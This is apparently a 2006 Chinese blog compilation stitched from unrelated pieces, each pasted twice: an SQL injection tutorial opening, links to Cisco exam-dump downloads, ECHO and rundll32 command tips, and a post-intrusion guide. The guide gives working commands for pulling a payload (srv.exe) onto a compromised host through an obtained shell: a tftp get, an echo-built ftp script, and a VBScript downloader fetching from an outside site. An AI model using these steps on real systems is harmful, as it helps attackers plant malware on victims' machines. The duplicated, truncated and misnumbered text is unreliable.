0
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let''s Go...
入门篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let''s Go...
入门篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
无意中找到的资料.不知道对大家有没有用.呵呵..^○^
Cisco
Actualtest 642-501 v12.14
http://download.chinaitlab.com/soft/9116.htm
Actualtest 642-443 v12.21
http://download.chinaitlab.com/soft/9115.htm
ActualTest 642-577 v01.12
http://download.chinaitlab.com/soft/9114.htm
ActualTest 642-531 v12.14
http://download.chinaitlab.com/soft/9112.htm
ActualTest 642-541 v01.17
http://download.chinaitlab.com/soft/9113.htm
ActualTest 646-301 v12.09
http://download.chinaitlab.com/soft/9111.htm
Cisco
Actualtest 642-501 v12.14
http://download.chinaitlab.com/soft/9116.htm
Actualtest 642-443 v12.21
http://download.chinaitlab.com/soft/9115.htm
ActualTest 642-577 v01.12
http://download.chinaitlab.com/soft/9114.htm
ActualTest 642-531 v12.14
http://download.chinaitlab.com/soft/9112.htm
ActualTest 642-541 v01.17
http://download.chinaitlab.com/soft/9113.htm
ActualTest 646-301 v12.09
http://download.chinaitlab.com/soft/9111.htm
ECHO命令的超详细使用
ECHO命令是大家都熟悉的DOS批处理命令的一条子命令,但它的一些功能和用法也许你并不是全都知道,不信你瞧:
1. 作为控制批处理命令在执行时是否显示命令行自身的开关
格式:ECHO [ON|OFF]
如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。
2. 显示当前ECHO设置状态
格式:ECHO
3. 输出提示信息
格式:ECHO信息内容
上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:
4. 关闭DOS命令提示符
在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。
5. 输出空行,即相当于输入一个回车
格式:ECHO.
值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。
在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:
C:〉ECHO.|TIME
ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。
ECHO命令是大家都熟悉的DOS批处理命令的一条子命令,但它的一些功能和用法也许你并不是全都知道,不信你瞧:
1. 作为控制批处理命令在执行时是否显示命令行自身的开关
格式:ECHO [ON|OFF]
如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。
2. 显示当前ECHO设置状态
格式:ECHO
3. 输出提示信息
格式:ECHO信息内容
上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:
4. 关闭DOS命令提示符
在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。
5. 输出空行,即相当于输入一个回车
格式:ECHO.
值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。
在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:
C:〉ECHO.|TIME
ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。
使用方法:
点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入"rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:
RUNDLL.EXE ,,
这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:\Program Files\目录,你要把这个路径改成c:\Progra~1\;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
Shell “命令列”
如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用:
点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入"rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:
RUNDLL.EXE ,,
这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:\Program Files\目录,你要把这个路径改成c:\Progra~1\;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
Shell “命令列”
如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用:
本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法.
一,TFTP
格式:tftp -i get file.exe path/file.exe 默认存放在system32下,如果指定就存在指定的地方。
二:ftp下载文件
ftp下载文件一般步骤如下:
echo open xxx.xxx.xxx.xxx >ftp.txt
echo user >>ftp.txt
echo password >>ftp.txt
echo binary >>ftp.txt [可选]
echo get srv.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt(这一步是关键哟)
del ftp.txt
这样srv.exe文件就下在下来了。保证srv.exe已经存在指定位置。
四:写程序下载
脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序实例的简化:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://txhak.126.com/srv.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "srv.exe",2 >>webdown.vbs
然后执行cscript webdown.vbs就可以啦。其中,http://txhak.126.com/srv.exe改成你放文件的网站路径,srv.exe可以改成保存文件的路径。 这里ADODB.Stream很重要如果目标机隔离了adodb.stream就会不成功。
一,TFTP
格式:tftp -i get file.exe path/file.exe 默认存放在system32下,如果指定就存在指定的地方。
二:ftp下载文件
ftp下载文件一般步骤如下:
echo open xxx.xxx.xxx.xxx >ftp.txt
echo user >>ftp.txt
echo password >>ftp.txt
echo binary >>ftp.txt [可选]
echo get srv.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt(这一步是关键哟)
del ftp.txt
这样srv.exe文件就下在下来了。保证srv.exe已经存在指定位置。
四:写程序下载
脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序实例的简化:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://txhak.126.com/srv.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "srv.exe",2 >>webdown.vbs
然后执行cscript webdown.vbs就可以啦。其中,http://txhak.126.com/srv.exe改成你放文件的网站路径,srv.exe可以改成保存文件的路径。 这里ADODB.Stream很重要如果目标机隔离了adodb.stream就会不成功。




2006/11/28
12:33
739






